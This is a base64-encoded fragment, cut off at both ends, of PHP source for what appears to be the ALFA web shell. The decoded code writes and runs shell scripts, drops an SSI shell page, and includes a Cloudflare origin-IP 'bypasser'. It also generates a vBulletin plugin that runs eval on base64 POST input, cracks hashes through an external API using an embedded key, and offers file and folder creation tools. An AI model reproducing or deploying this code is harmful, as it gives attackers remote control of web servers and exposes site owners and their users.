RhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsic29sZXZpc2libGUiXSkgJiYgIWVtcHR5KCRqc29uWyJzb2xldmlzaWJsZSJdKSl7CgkJCQkkZGF0YVsic29sZXZpc2libGUiXSA9ICRqc29uWyJzb2xldmlzaWJsZSJdOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJjb2RlX25hbWUiXSkgJiYgIWVtcHR5KCRqc29uWyJjb2RlX25hbWUiXSkpewoJCQkJJGRhdGFbImNvZGVfbmFtZSJdID0gJGpzb25bImNvZGVfbmFtZSJdOwoJCQkJJGRhdGFbInZlcnNpb25fbnVtYmVyIl0gPSBfX0FMRkFfVkVSU0lPTl9fOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJtYXJrZXQiXSkgJiYgIWVtcHR5KCRqc29uWyJtYXJrZXQiXSkpewoJCQkJJGRhdGFbIm1hcmtldCJdID0gJGpzb25bIm1hcmtldCJdOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCRkYXRhKTsKCQl9Cgl9Cn0KZnVuY3Rpb24gYWxmYVdyaXRlVG9jZ2lhcGkoJG5hbWUsICRzb3VyY2UpewoJJHRlbXAgPSAiIjsKCSRub3RfYXBpID0gYXJyYXkoImJhc2VkaXIuYWxmYSIsICJnZXRkaXIuYWxmYSIsICJnZXRoZWFkZXIuYWxmYSIpOwoJaWYoaW5fYXJyYXkoJG5hbWUsICRub3RfYXBpKSl7CgkJJHRlbXAgPSBBTEZBX1RFTVBESVI7CgkJaWYoJHRlbXApewoJCQlAY2hkaXIoJHRlbXApOwoJCX0KCX1lbHNlewoJCWFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKTsKCQlAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX0FMRkFfREFUQV9GT0xERVJfXyk7Cgl9CglAbWtkaXIoJ2FsZmFjZ2lhcGknLDA3NTUpOwoJX193cml0ZV9maWxlKCJhbGZhY2dpYXBpLyIuJG5hbWUsIF9fZ2V0X3Jlc291cmNlKCRzb3VyY2UpKTsKCUBjaG1vZCgiYWxmYWNnaWFwaS8iLiRuYW1lLCAwNzU1KTsKCXJldHVybiAkdGVtcDsKfQpmdW5jdGlvbiBhbGZhY2hlY2tjZ2koKXtpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsdHJ1ZSx0cnVlKSk+MCllY2hvKCJvayIpO2Vsc2UgZWNobygibm8iKTt9CmZ1bmN0aW9uIGFsZmF1cGRhdGVoZWFkZXIoKXsKCWlmKCFpc3NldCgkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSkpewoJCSRiYXNoID0gInpaUmRiOW93RklhdnlhODQ5ZElHSkxLMHZWeUZORlRvaEVSQmd0RmRRSVJNNGhBTDQwUjJVa1lwLzMxMmdQQVJxTHFiYVlueUlmczh4Kzg1citVdlYwNHFoVE9oM0pHaE1lZzNud2J0V25ucWVjRFVvejgrelBHTVFCekdFQlBCSUY0bVljUkJwSk1sSkZqQTlJM0dNTm0rTUF2d1BYQ0ZSUjVPQ01pVStwcXFHSTN1cjA2N1cyODBlLzFhZVRFbENRUWs4VUpnUy80YkdPVXpDVjZxMHVzWnRvanRPUlVpRWhXRGVHRUVOZ0ZyaFZKSmdwU2hiOE9SWnhsQkpJQUM1V0N1TnFxSDM5MzFBL2lSQWVwYWhOUUxhMlk1KzRKSkswWnBPSVFyc044QW1ka2dBdGVGbXh2WTVSOGhrNDVRMVZLNXE0WWZjWkt2akVicWRxc2pEKzNGSUQ5YWNCWmhuNGlpbm9OUy82Mm9sT001VVhxUVpaYXpmN0F4dkt1K0ptQjdkL2JkL1czRnlpRHJFSkpFVUg5THlRVHJXRURYS1F6aGVnQXVVdHB1MFJsdUtxSTBQZ05PTmZqakE5Q1A1cGh5cVVFOThkTHEvUnpVMitORzk3bmU2dlJyeUZIN3dubWxJa2t4Y3piQnF0bEVTR1IwNnMvTnh2aXgyM25haHVraS9hOWV4QU5rdk5UYnJYcS9tV2ZBakdKSnBLTm5ldU1NVlZPdldHd29OVTREVUFib2Jwb25LclFSRDVDRWhCdWxiWlQ0T0txMEs5QXM0OFVNckdhbnNZb0Y1UWwwZW1zTFR0RUs3UHFnTFlRU1lmdGxqaHB3WVEwbUMzSHZzUERBWnNlWmp4S2IrLzc5amZROVZjZ3R5UUdPSHJGaWVnVDdhZ3VjMkFOdVJnVFV5QVdSZ2lDOTlYTkR0bTRXeDdkZVhyTG9nTHZRdDRPWXN6MDdkdVA4aXNXVWVkQi83c09uWGJnczlLVDJ3NkN6eFcvMGZYNmJhSDM1Y2VHdTFTbnhCdz09IjsKCQkkcmVhbGRpciA9IGFkZHNsYXNoZXMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQkkdG1wX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0aGVhZGVyLmFsZmEiLCRiYXNoKTsKCQkkZGF0YSA9IGFsZmFFeCgiY2QgJ3skdG1wX3BhdGh9L2FsZmFjZ2lhcGknO3NoIGdldGhlYWRlci5hbGZhIixmYWxzZSx0cnVlLHRydWUpOwoJCWlmKEBpc19hcnJheShAanNvbl9kZWNvZGUoJGRhdGEsdHJ1ZSkpKXsKCQkJX19hbGZhX3NldF9jb29raWUoInVwZGF0ZWhlYWRlcl9kYXRhIiwgX19aVzVqYjJSbGNnKCRkYXRhKSk7CgkJCWVjaG8gJGRhdGE7CgkJfQoJfWVsc2V7CgkJZWNobyBfX1pHVmpiMlJsY2coJF9DT09LSUVbInVwZGF0ZWhlYWRlcl9kYXRhIl0pOwoJfQp9CmZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKQG1rZGlyKCdhbGZhX3NodG1sJywwNzU1KTsKQGNoZGlyKCdhbGZhX3NodG1sJyk7CmFsZmFjZ2lodGFjY2Vzcygnc2h0bWwnKTsKJGNvZGUgPSAnclZiOWI5czJFUDFYcmt5MjJNaHNLY3U2cHRiSDBBK3Z6WWJDWGV6dGw2WW9aSW1TMlZDa1FGSk92Q1gvKzQ2U3JDaE9uS1JCQThPUnlPUGp1M2VQUi92UEJvT2RXSXFVWlVDVnluVVdrRTlqcGFUNlRBYUQwTzlNYS9ZdlRYTVRrUG5LVU4zT3NoVG9SYUVDMGpzbHUrOW5zNDlmM2t3bWZ4NlBUd2tFY0VwT1NSOHVMOEZPbm96LytuczhuWDM1TUo2OW43ekYrV2MyNE4xNGhqRUUxbmlhR2xoR2lLY1huT0FUTDJsQXVJWUJqNjZES05mMDNoVmRKdGVyUklKczhRMitDL09QaytrVzZrekVMWFZuT0x6alEwM3NGSkhXNThsRFNYV3dOcE9DemF3V0p1ZWh2NkJSRXZxR0dVN0RWenlOWUVhakhLYlRZNWd1S09lK1UwLzVPbGFzTU1BamtaVlJobFMvUnN1b0hpUmhXb3JZTUNrZ2tjejBJSmNKaFQ3OHg5SWVqc1JsVG9VWnhsS2VNV3JGSU1ST0lsK294elFxdUJFMjFBVzNTTVREV0MrVnFtZnpBNGFScm9mLy9QWFNJYWNpTXdzUDl2Y1o5RGMzQzlaaG4zRE5aOWhIUEN3aVUxUUhzMFg1RTdnSDhFY2s0T0RsQ3hkY2QxUjk0TjJIR2ZHdWJrTzFJeGsxWTA3dDQrdlZjYkpPZDFqSjdyVlJYTWFSMVdTb0tKZFIwdXQ3VjYxTVJtWVpwejFnaVZWaU83S2RIMnF6NG5TWU1KUWtXaUdQM2plRm85eENDb3IyL0EzSUhFbWRFUmcxWTk2Vjc5UWxESDJuTnNKY0ppdVF3aklPeUxhTjltS1o1NUZJOXZyREZFTTA1a1pnbnNXU1MvVGdqbHY5RVlnNEUyZllBVkFXTkdYbkJiZFJvWit3WmVqSGlFbnhaWEVZK3FrVUJ0WWd6MS9HOGVFaENTL2hEbGZDcGUvWWFFc2JGenByRkF2YlBvZCsyV0RhWmhTUS9RT0NtY1djeGNpanFjQWVGY3M5eTc1U0xTQnhxYlJVbzBJeUMrSlZaRWFLSmg0SngyTEpsTFFhQUJPcGJBbmdKczY4d3dIVHdrSUVCSkZiMktZYUk2dDZBN3J6NjR0WHI5Lys3alZpRklyV1I3bFFkbXV4dEVmYnFVYnR0Rk9KVlgvZjB1NXhtV0svZTJTbWIrcnFBaDQ3MEhVVDJKSnJUY2htakxYT0JLSldFd1RPV1dJV0FUbHczUi9RR1ZJbEZHdUtsckRDVkkyM1lUR1A0ck5NeVZJa2cwYVcyanplelo1Ny8zMVFOY1ViRXQ5c2RZM0U4dzJIMVFXd2hVWEswRmk2VFhVZWpuNFVjMTE0M1c4RVVEbmsxQ3drSm9Lbnd1cXN5M25PakQwdDJMR3VqNGF0TEJORmFjQ3NDa3pWMEFzTXJ3dDAxRWpSQkpPd2dlL0cxN0R0elhCU0NnUjBMSUZiUHQ4by9XYUNKMVNYM0hReXUzbGdMTEZJMGFoemd1a3YxRTJPS2lTTlZmd1pRWlU4dDQvUFNYUDlYTkFZNGp3SmRyR2MxVDNrckhId2FxbDhBWDVyMTI5ektsNWlqM1RxcEtDcWFySWFVU0Jsbk9vSHoyVjFSVDdTcnQvSnBmWGRYOW0wUm55NldmOWg5THhLRkhyWWprd1pjZXhHTVM4VDJoOTFLdnlRZFF1cDcvRHUwZ0xmNjl3anQ5S3dDbnlTYTdmbE5VWDBCeExZdHJUU0w3WDBvSkVrMkVWTnJKajF5dW9uYU5mK1QzWjlJL1d0ZlRybXY5V3VIWHVsMm92Sy90ejZIdz09JzsKQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7CkBjaG1vZCgiYWxmYV9zc2kuc2h0bWwiLDA3NTUpOwplY2hvIEFsZmFpRnJhbWVDcmVhdG9yKCdhbGZhX3NodG1sL2FsZmFfc3NpLnNodG1sJyk7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDMpOwplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBDbG91ZCBGbGFyZSBCeVBhc3NlciB8PC9kaXY+PGJyPjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48ZGl2IGNsYXNzPSd0eHRmb250Jz5UYXJnZXQ6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPTMwIG5hbWU9J3VybCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgcGxhY2Vob2xkZXI9XCJ0YXJnZXQuY29tXCI+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107CmlmKCFwcmVnX21hdGNoKCcvXihodHRwcz8pOlwvXC8od3szfXx3MylcLi9pJywgJHVybCkpewokdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpOwokdXJsID0gImh0dHA6Ly93d3cuIi4kdXJsOwp9CiRoZWFkZXJzID0gQGdldF9oZWFkZXJzKCR1cmwsIDEpOwokc2VydmVyID0gJGhlYWRlcnNbJ1NlcnZlciddOwokc3VicyA9IGFycmF5KCdvd2EuJywnMnR0eS4nLCdtLicsJ2d3LicsJ214MS4nLCdzdG9yZS4nLCcxJywnMicsJ3ZiLicsJ25ld3MuJywnZG93bmxvYWQuJywndmlkZW8nLCdjcGFuZWwuJywgJ2Z0cC4nLCAnc2VydmVyMS4nLCAnY2RuLicsICdjZG4yLicsICducy4nLCAnbnMzLicsICdtYWlsLicsICd3ZWJtYWlsLicsICdkaXJlY3QuJywgJ2RpcmVjdC1jb25uZWN0LicsICdyZWNvcmQuJywgJ3NzbC4nLCAnZG5zLicsICdoZWxwLicsICdibG9nLicsICdpcmMuJywgJ2ZvcnVtLicsICdkbC4nLCAnbXkuJywgJ2NwLicsICdwb3J0YWwuJywgJ2tiLicsICdzdXBwb3J0LicsJ3NlYXJjaC4nLCAnZG9jcy4nLCAnZmlsZXMuJywgJ2FjY291bnRzLicsICdzZWN1cmUuJywgJ3JlZ2lzdGVyLicsICdhcHBzLicsICdiZXRhLicsICdkZW1vLicsICdzbXRwLicsICduczIuJywgJ25zMS4nLCAnc2VydmVyLicsICdzaG9wLicsICdob3N0LicsICd3ZWIuJywgJ2Nsb3VkLicsICdhcGkuJywgJ2V4Y2hhbmdlLicsICdhcHAuJywgJ3Zwcy4nLCAnb3dhLicsICdzYXQuJywgJ2Jicy4nLCAnbW92aWUuJywgJ211c2ljLicsICdhcnQuJywgJ2Z1c2lvbi4nLCAnbWFwcy4nLCAnZm9ydW1zLicsICdhY2MuJywgJ2NjLicsICdkZXYuJywgJ3d3NDIuJywgJ3dpa2kuJywgJ2NsaWVudHMuJywgJ2NsaWVudC4nLCdib29rcy4nLCdhbnN3ZXJzLicsJ3NlcnZpY2UuJywnZ3JvdXBzLicsJ2ltYWdlcy4nLCd1cGxvYWQuJywndXAuJywndHViZS4nLCd1c2Vycy4nLCdhZG1pbi4nLCdhZG1pbmlzdHJhdG9yLicsJ3ByaXZhdGUuJywnZGVzaWduLicsJ3dobWNzLicsJ3dwLicsJ3dvcmRwcmVzcy4nLCdqb29tbGEuJywndmJ1bGxldGluLicsJ3Rlc3QuJywnZGV2ZWxvcGVyLicsJ3BhbmVsLicsJ2NvbnRhY3QuJyk7CmlmKHByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsLCAkbWF0Y2hlcykpewppZigkbWF0Y2hlc1syXSAhPSAnd3d3Jyl7JHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTt9ZWxzZXsKJHVybCA9IGV4cGxvZGUoJG1hdGNoZXNbMF0sICR1cmwpOwokdXJsID0gJHVybFsxXTt9fQppZihpc19hcnJheSgkc2VydmVyKSkkc2VydmVyID0gJHNlcnZlclswXTsKZWNobyBfX3ByZSgpOwppZihwcmVnX21hdGNoKCcvY2xvdWRmbGFyZS9pJywgJHNlcnZlcikpCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7CmVsc2UKZWNobyAiXG5bK10gQ2xvdWRGbGFyZSB3YXNuJ3QgZGV0ZWN0ZWQsIHByb2NlZWRpbmcgYW55d2F5LlxuIjsKZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7CmVjaG8gIlsrXSBTZWFyY2hpbmcgZm9yIG1vcmUgSVAgYWRkcmVzc2VzLlxuXG48YnI+PGJyPiI7CmZvcigkeD0wOyR4PGNvdW50KCRzdWJzKTskeCsrKXsKJHNpdGUgPSAkc3Vic1skeF0gLiAkdXJsOwokaXAgPSBpc19pcHY0KGdldGhvc3RieW5hbWUoJHNpdGUpKTsKaWYoJGlwID09ICcoTnVsbCknKQpjb250aW51ZTsKZWNobyAiVHJ5aW5nIHskc2l0ZX06IHskaXB9XG48YnI+IjsKfQplY2hvICJcblsrXSBGaW5pc2hlZC5cbjxicj4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBpc19pcHY0KCRpcCl7CnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOwp9CmZ1bmN0aW9uIF9fYWxlcnQoJHMpewplY2hvICc8Y2VudGVyPicuX19wcmUoKS4kcy4nPC9jZW50ZXI+JzsKfQpmdW5jdGlvbiBjcmVhdGVfdGFibGUoJGRhdGEpewplY2hvICc8dGFibGUgYm9yZGVyPSIxIj4nOwpmb3JlYWNoICgkZGF0YSBhcyAka2V5ID0+ICR2YWwpewokYXJyYXkgPSBhcnJheSgpOwpmb3JlYWNoKCR2YWwgYXMgJGsgPT4gJHYpewokYXJyYXlbJGtdID0gJHY7Cn0KZWNobyAiPHRyPjx0ZD48ZGl2IGNsYXNzPSd0Ymx0eHQnPiIuJGFycmF5Wyd0ZE5hbWUnXS4iPC9kaXY+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSciLiRhcnJheVsnaWQnXS4iJyBuYW1lPSciLiRhcnJheVsnaW5wdXROYW1lJ10uIicgIi4oJGFycmF5WydwbGFjZWhvbGRlciddPydwbGFjZWhvbGRlcic6J3ZhbHVlJykuIj0nIi4kYXJyYXlbJ2lucHV0VmFsdWUnXS4iJyBzaXplPSciLiRhcnJheVsnaW5wdXRTaXplJ10uIicgIi4oJGFycmF5WydkaXNhYmxlZCddPydkaXNhYmxlZCc6JycpLiI+PC90ZD48L3RyPiI7Cn0KZWNobyAnPC90YWJsZT4nOwp9CmZ1bmN0aW9uIGFsZmFwaHAyeG1sKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgU2hlbGwgRm9yIHZCdWxsZXRpbiB8PC9kaXY+PC9wPjxmb3JtIG9uc3VibWl0PVwiZygncGhwMnhtbCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48YnI+PHRleHRhcmVhIHJvd3M9JzEyJyBjb2xzPSc3MCcgdHlwZT0ndGV4dCcgbmFtZT0nY29kZScgcGxhY2Vob2xkZXI9XCJpbnNlcnQgeW91ciBzaGVsbCBjb2RlXCI+PC90ZXh0YXJlYT48YnIvPjxici8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSYmJF9QT1NUWydhbGZhMiddPT0nPj4nKXsKZWNobyBfX3ByZSgpLiI8cD48Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzgwJz4iOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJJU08tODg1OS0xIj8+PHBsdWdpbnM+PHBsdWdpbiBhY3RpdmU9IjEiIHByb2R1Y3Q9InZidWxsZXRpbiI+PHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+PGhvb2tuYW1lPmluaXRfc3RhcnR1cDwvaG9va25hbWU+PHBocGNvZGU+PCFbQ0RBVEFbaWYgKHN0cnBvcygkX1NFUlZFUltcJ1BIUF9TRUxGXCddLCJzdWJzY3JpcHRpb25zLnBocCIpKXtldmFsKGJhc2U2NF9kZWNvZGUoXCcnLl9fWlc1amIyUmxjZygkX1BPU1RbJ2FsZmExJ10pLidcJykpO2V4aXQ7fV1dPjwvcGhwY29kZT48L3BsdWdpbj48L3BsdWdpbnM+JzsKZWNobyAnPC90ZXh0YXJlYT48L2NlbnRlcj48L3A+JzsKfQplY2hvICc8L2NlbnRlcj48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNwY3JhY2soKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIFRvb2xzIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnKSI+fCBEZUNyeXB0ZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJykiPnwgSGFzaCBBbmFseXplciB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXT09J2RlYycpewokYWxnb3JpdGhtcyA9IGFycmF5KCdtZDUnPT4nTUQ1JywnbWQ0Jz0+J01ENCcsJ3NoYTEnPT4nU0hBMScsJ3NoYTI1Nic9PidTSEEyNTYnLCdzaGEzODQnPT4nU0hBMzg0Jywnc2hhNTEyJz0+J1NIQTUxMicsJ250bG0nPT4nTlRMTScpOwplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ3J5cHRlciB8PC9kaXY+PGJyPjxicj4KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsKZm9yZWFjaCgkYWxnb3JpdGhtcyBhcyAka2V5PT4kdmFsKXtlY2hvKCc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTt9CmVjaG8nPC9zZWxlY3Q+PGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJtZDUiIHNpemU9IjYwIiBpZD0idGV4dCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvZm9ybT48L2NlbnRlcj48YnI+JzsKaWYoJF9QT1NUWydhbGZhMyddID09ICc+PicpewokaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsKaWYoIWVtcHR5KCRoYXNoKSl7CiRoYXNoX3R5cGUgPSAkX1BPU1RbJ2FsZmE0J107CiRlbWFpbCA9ICJzb2xldmlzaWJsZUBnbWFpbC5jb20iOwokY29kZSA9ICI3YjlmYTc5ZjkyYzNjZDk2IjsKJHRhcmdldCA9ICJodHRwczovL21kNWRlY3J5cHQubmV0L0FwaS9hcGkucGhwP2hhc2g9Ii4kaGFzaC4iJmhhc2hfdHlwZT0iLiRoYXNoX3R5cGUuIiZlbWFpbD0iLiRlbWFpbC4iJmNvZGU9Ii4kY29kZTsKJHJlc3AgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRyZXNwPT0nJyl7CiRnZXQgPSBuZXcgQWxmYUNVUkwoKTsKJHJlc3AgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpOwp9CmVjaG8gX19wcmUoKS4nPGNlbnRlcj4nOwpzd2l0Y2goJHJlc3ApewoJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDEnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3UgZXhjZWVkZWQgdGhlIDQwMCBhbGxvd2VkIHJlcXVlc3QgcGVyIGRheTwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAzJyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91ciByZXF1ZXN0IGluY2x1ZGVzIG1vcmUgdGhhbiA0MDAgaGFzaGVzLjwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA0Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIHR5cGUgb2YgaGFzaCB5b3UgcHJvdmlkZSBpbiB0aGUgYXJndW1lbnQgaGFzaF90eXBlIGRvZXNuJ3Qgc2VlbSB0byBiZSB2YWxpZDwvZm9udD48L2I+IjticmVhazsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA1Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIGhhc2ggeW91IHByb3ZpZGUgZG9lc24ndCBzZWVtIHRvIG1hdGNoIHdpdGggdGhlIHR5cGUgb2YgaGFzaCB5b3Ugc2V0LjwvZm9udD48L2I+IjticmVhazsKfQppZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnJiYkcmVzcCE9JycpewplY2hvICI8Yj5SZXN1bHQ6IDxmb250IGNvbG9yPSdncmVlbic+Ii4kcmVzcC4iPC9mb250PjwvYj4iOwp9ZWxzZWlmKHN1YnN0cigkcmVzcCwwLDQpIT0nQ09ERScpewplY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5Ob1QgRm91bmQ8L2ZvbnQ+PGJyIC8+IjsKfQplY2hvKCc8L2NlbnRlcj4nKTsKfQp9Cn0KaWYoJF9QT1NUWydhbGZhMSddPT0nYW5hbHl6ZXInKXsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIEFuYWx5emVyIHw8L2Rpdj48L3A+Cjxmb3JtIG9uc3VibWl0PSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnLHRoaXMuaGFzaC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5IYXNoOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJoYXNoIiBzaXplPSI2MCIgaWQ9InRleHQiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCRfUE9TVFsnYWxmYTMnXSA9PSAnPj4nKXsKJGhhc2ggPSAkX1BPU1RbJ2FsZmEyJ107CmlmKCFlbXB0eSgkaGFzaCkpewokY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwokcmVzcCA9ICRjdXJsLT5TZW5kKCJodHRwczovL21kNWRlY3J5cHQubmV0L2VuL0hhc2hGaW5kZXIvIiwicG9zdCIsImhhc2g9eyRoYXNofSZjcnlwdD1TZWFyY2giKTsKZWNobyhfX3ByZSgpLic8Y2VudGVyPicpOwppZihwcmVnX21hdGNoKCcjPGZpZWxkc2V0IGNsYXNzPSJ0cm91dmUiPiguKj8pPC9maWVsZHNldD4jJywkcmVzcCwkcykpewoJZWNobygnPGZvbnQgY29sb3I9ImdyZWVuIj4nLiRzWzFdLic8L2ZvbnQ+Jyk7Cn1lbHNlewoJZWNobygnPGZvbnQgY29sb3I9InJlZCI+Tm90IEZvdW5kLi4uITwvZm9udD4nKTsKfQplY2hvKCc8L2NlbnRlcj48YnI+Jyk7Cn0KfQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhZm9vdGVyKCl7CmlmKCFpc3NldCgkX1BPU1RbJ2FqYXgnXSkpewplY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPgo8dHI+Cjx0ZCB3aWR0aD0nMTclJz48Zm9ybSBvbnN1Ym1pdD1cImlmKHRoaXMuZi52YWx1ZS50cmltKCkubGVuZ3RoPT0wKXJldHVybiBmYWxzZTtlZGl0b3IodGhpcy5mLnZhbHVlLCdta2ZpbGUnLCcnLCcnLCcnLCdmaWxlJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRmlsZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2YnIHZhbHVlPScnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTt0aGlzLmQudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbH